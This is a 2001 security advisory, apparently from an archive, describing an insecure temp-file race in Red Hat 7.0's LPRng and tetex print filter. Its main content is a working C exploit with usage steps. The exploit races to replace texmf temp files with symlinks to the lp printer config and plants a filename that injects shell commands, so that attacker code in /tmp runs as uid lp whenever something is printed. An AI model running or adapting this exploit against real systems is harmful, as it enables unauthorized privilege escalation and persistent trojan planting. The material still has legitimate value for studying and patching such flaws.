LPRng + tetex tmpfile race - uid lp exploit

Type securityvulns
Reporter Securityvulns
Modified 2001-06-22T00:00:00


If the tetex package and LPRng are installed, there is an exploitable race condition with a tmp file that allows elevation of privs.

It's fixed in rawhide, but that doesn't really help people who just use the provided up2date program to keep themselves secure.

/********** Redhat 7.0

LPRng-3.7.4-23 (and earlier) + tetex-1.0.7-7 (and earlier?)

 Insecure tmp file privilege elevation vulnerability.

Allows uid/gid lp and root groups on LPRng-3.6.24 and earlier Please note:

-rwxr-xr-x 1 lp lp 444472 Jun 14 22:05 /usr/bin/lpq -rwxr-xr-x 1 lp lp 441624 Jun 14 22:05 /usr/bin/lprm -rwxr-xr-x 1 lp lp 459160 Jun 14 22:05 /usr/bin/lpr -rwxr-xr-x 1 lp lp 448120 Jun 14 22:05 /usr/bin/lpstat -rwxr-xr-x 1 lp lp 448320 Jun 14 22:05 /usr/sbin/lpc*

this program allows trojan code to be planted on the machine it is executed on.

tmp file handling done badly in helper application (dvi print filter) allows modification to lp config files. the configuation file is sourced by the master print filter, which is itself a shell script, each time something is printed. this makes it possible to insert commands into the configuration file by creating a special filename to be included in the file that is created. (see the close(open(" thingee )

Redhat Bugzilla reference:-



important info about this exploit:

requires some fonts get made when its run. probably won't be a problem unless someone else has tried this exploit. just wait 90 days for /var/lib/texmf to clear and try again ;] or try print something different .dvi files are what does the trick.


int shake() { int f; char r[1000]; int w; f=fopen("/proc/loadavg","r"); fscanf(f,"%s %s %s %s %s",r); fclose(f); w=atoi(r); return w; } void cow(char s,char t,int ofs) { sprintf(s,"/var/lib/texmf/lsR%d.tmp",ofs); sprintf(t,"%s/lsR%d.tmp",s,ofs); }

main() { char s[1000]; char t[1000]; int y,i; printf("Put the stuff to run as lp:lp in /tmp/hax\n"); printf("the lpr /usr/share/aspe<tab>/manual.dvi\n"); printf("when the ! comes up, wait a second, then press control-C.\n\n"); printf("Then print something.\n\n\n"); close(open("/var/lib/texmf/cd ..\ncd ..\ncd ..\ncd ..\ncd ..\ncd ..\ncd tmp\nexport PATH=.\nhax\nexit 0",65,0666)); while(1) { i=shake(); for(y=-30;y<0;y++) { cow(s,t,y+i); if(!access(t,0)) { printf("!\n"); unlink(t); symlink("/var/spool/lpd/lp/postscript.cfg",t); sleep(1); } } } }